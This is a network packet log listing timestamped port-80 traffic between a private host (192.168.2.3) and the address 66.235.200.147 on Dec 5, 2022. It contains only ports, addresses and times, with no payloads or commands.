Dec 5, 2022 06:44:36.438585043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438596964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438601971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438620090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438632011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438638926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438657045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438663960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438674927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438692093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438698053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438709974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438728094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438744068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438750982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438761950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438775063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438795090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438805103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438813925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438831091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438848972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438864946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438893080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438895941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438910961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438929081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438940048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438949108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438966990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438972950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438983917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439002991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439008951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439021111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439038992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439057112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439060926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439075947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439080954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439095020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439112902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439130068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439131975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439146996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439153910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439165115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439182043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439198971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439207077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439217091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439229012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439235926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439254045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439263105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439270020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439286947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439304113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439335108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439362049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439378977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439404011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439642906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439660072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439677954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439696074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439707041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439713955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439732075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439732075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439753056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439804077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439821005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439838886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439855099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439870119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439879894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439883947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439898014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439915895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439923048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439935923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439953089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439959049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.439971924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439990044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.439991951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440009117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440026045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440043926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440057039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440063000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440080881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440083981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440098047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440116882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440121889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440135002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440146923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440179110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440217972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440236092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440275908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440373898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440392971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440411091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440428972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440445900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440464973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440479040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440496922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440511942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440520048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440531015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440547943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440567017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440577030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440583944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440603971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440613985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440620899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440639019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440650940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440654993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440674067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440682888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440694094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440711975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440728903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440730095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440746069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440752029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440763950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440779924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440788031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440798044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440818071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440835953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440836906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440853119 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440860033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440871954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440888882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440906048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440912962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440922976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440937042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440942049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440959930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440973043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.440978050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.440995932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441014051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441024065 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441030979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441037893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441050053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441066980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441083908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441092014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441102028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441114902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441119909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441138983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441148043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441155910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441174030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441190958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441195011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441209078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441217899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441226959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441243887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441253901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441262007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441281080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441298008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441303968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441315889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441320896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441333055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441350937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441366911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441374063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441385984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441396952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441405058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441423893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441428900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441442013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441459894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441477060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441484928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441493988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441502094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441514015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441530943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441548109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441564083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441564083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441581011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441581964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441600084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441608906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441617012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441634893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441652060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441652060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441669941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441683054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441731930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441831112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441848993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441864967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441883087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441890955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441901922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441920042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441930056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441937923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441955090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441963911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.441975117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.441992998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442008972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442018032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442025900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442039967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442044973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442063093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442079067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442092896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442096949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442106009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442116976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442132950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442142010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442150116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442167997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442186117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442188978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442203045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442217112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442219973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442236900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442248106 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442254066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442271948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442286015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442289114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442310095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442312956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442327976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442344904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442346096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442362070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442378998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442394972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442401886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442413092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442434072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442451954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442470074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442477942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442490101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442507982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442518950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442527056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442545891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442560911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442563057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442581892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442581892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442601919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442620039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442625046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442639112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442657948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442662001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442676067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442693949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442712069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442723989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442729950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442740917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442764997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442784071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442794085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442804098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442821980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442828894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442841053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442859888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442912102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.442954063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442971945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.442990065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443006992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443023920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443025112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443043947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443043947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443063974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443082094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443099022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443108082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443116903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443133116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443137884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443156958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443159103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443176031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443195105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443201065 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443212986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443231106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443248987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443259001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443269968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443288088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443288088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443308115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443310976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443329096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443346977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443362951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443363905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443383932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443387985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443403006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443423033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443432093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443442106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443460941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443464041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443485975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443504095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443523884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443526983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443543911 CET	80	49704	66.235.200.147	192.168.2.3
